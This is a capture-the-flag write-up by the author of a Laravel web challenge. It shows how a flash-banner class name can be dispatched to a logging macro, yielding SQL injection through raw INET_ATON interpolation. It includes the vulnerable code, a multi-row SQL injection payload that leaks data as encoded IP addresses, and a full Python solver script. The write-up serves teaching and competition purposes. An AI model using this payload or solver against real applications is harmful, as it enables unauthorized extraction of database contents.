TL;DR: A "flash banner" feature lets you pick which CSS class to render. The class name is dispatched as a method on the flash object, and one of those methods is a macro that interpolates its argument straight into raw SQL.
"Flash" is a medium whitebox web challenge built on Laravel. It's a small app with three routes:
/ shows a configurable flash banner/configure sets the banner's message and CSS class/history lists logged visitor IPsThe flag lives in a flag table. You need SQL injection to get it out.
The routes:
// routes/web.php
Route::get('/', function () {
if ($cfg = FlashConfig::first()) {
flash($cfg->message, $cfg->class); // <-- message + class are attacker controlled
}
return view('index');
});
Route::post('/configure', function (Request $request) {
FlashConfig::updateOrCreate(['id' => 1], $request->only(['message', 'class']));
return redirect('/');
});
Route::get('/history', function () {
$lines = FlashHistory::oldest('id')->get()->map(
fn ($h) => "[{$h->created_at}] " . long2ip($h->ip) // <-- integer -> dotted IP
)->implode("\n");
return response($lines."\n", 200, ['Content-Type' => 'text/plain']);
});
And the important part, a set of flash macros registered in the service provider:
// app/Providers/AppServiceProvider.php
Flash::macro('log', function (string $ip) {
DB::table("flash_history")->insert([
'ip' => DB::raw("INET_ATON('$ip')"), // <-- raw string interpolation
'created_at' => DB::raw('NOW()'),
]);
return $this;
});
// log each message view by IP address.
foreach (['success', 'error', 'warning'] as $level) {
Flash::macro($level, function (string $message) use ($level) {
$this->log(request()->ip());
$this->flashMessage(new Message($message, $level));
return $this;
});
}
If you look at the log macro the bug seems obvious; $ip is interpolated into
INET_ATON('$ip') with no SQL escaping, so you'd think you can inject SQL there and get the flag.
The problem is that the IP comes from the framework itself request()->ip() and you cannot spoof your IP to an SQL injection payload.
The home route calls flash($cfg->message, $cfg->class), and
spatie/laravel-flash resolves the class like this:
if (static::hasMacro($message->class)) {
$this->{$message->class}($message->message);
}
If the class you supplied is a registered macro, the library calls that
macro as a method, passing your message as its argument.
log is a registered macro. So setting class=log makes the library invoke:
$this->log($message); // your controlled message, which could be an SQL payload
which lands directly in INET_ATON('$message').
::log builds this query:
insert into flash_history (ip, created_at) values (INET_ATON('<MSG>'), NOW())
To recover the flag, you need to show it in the logs. However, there is no plaintext column in the logs table. The columns are:
created_at: datetimeip: an unsigned integerThe trick is to extract the flag as 4-byte chunks stored in the ip column. You just have to encode each 4 charachters as an unsigned integer, and recover them later.
CONV(HEX(SUBSTR(flag, n, 4)), 16, 10)./history renders each row through long2ip(), those 4 bytes come back out as a dotted IP we can decode to ASCII.The message we POST is:
127.0.0.1'), NOW()),
(CONV(HEX((SELECT SUBSTR(flag, 0, 4) from flag)), 16, 10), DATE('2000-01-01')),
(CONV(HEX((SELECT SUBSTR(flag, 4, 4) from flag)), 16, 10), DATE('2000-01-01')),
(CONV(HEX((SELECT SUBSTR(flag, 8, 4) from flag)), 16, 10), DATE('2000-01-01')),
...
(CONV(HEX((SELECT SUBSTR(flag, 56, 4) from flag)), 16, 10), DATE('2000-01-01'))-- -
One detail that makes this work cleanly is using a fixed date DATE('2000-01-01') to tag every injected row, so the
your solver can pick them out of /history (maybe not needed, but this was helpful for me while writing the challenge).
# query insert into `flash_history` (`ip`, `created_at`) values (INET_ATON('XXXXXX'), NOW()))
import requests
import sys
import re
import ipaddress
s = requests.Session()
url = sys.argv[1] # url
"""
1. Get a CSRF token
"""
r = s.get(url + '/configure')
csrf = re.findall(r"name=\"_token\" value=\"(?P<token>.+)\" ", r.text, re.MULTILINE)[0]
"""
2. Exploit.
insert flag fragments as IP addresses.
"""
injection = """(CONV(HEX( (SELECT SUBSTR(flag, 0, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 4, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 8, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 12, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 16, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 20, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 24, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 28, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 32, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 36, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 40, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 44, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 48, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 52, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 56, 4) from flag) ), 16, 10), DATE('2000-01-01'))"""
r = s.post(url + '/configure', data={
'_token': csrf,
'message': f"127.0.0.1'), NOW()), {injection}-- -",
# !! laravel-flash will do a $this->$$class()
'class': 'log'
})
"""
3. Recover flag fragments from the IP addresses
"""
r = s.get(url + '/history')
for line in r.text.splitlines():
if '2000-01-01' in line:
ip = line.split('] ')[1]
leak = hex(int(ipaddress.IPv4Address(ip)))
if leak == '0x0':
continue
decoded = bytes.fromhex(leak[2:]).decode('utf-8')
print(decoded, end="", flush=True)
print("")
This was ASU CTF 14, an on-campus CTF. I ran the infrastructure and authored a couple of the web and pwn challenges, including this one.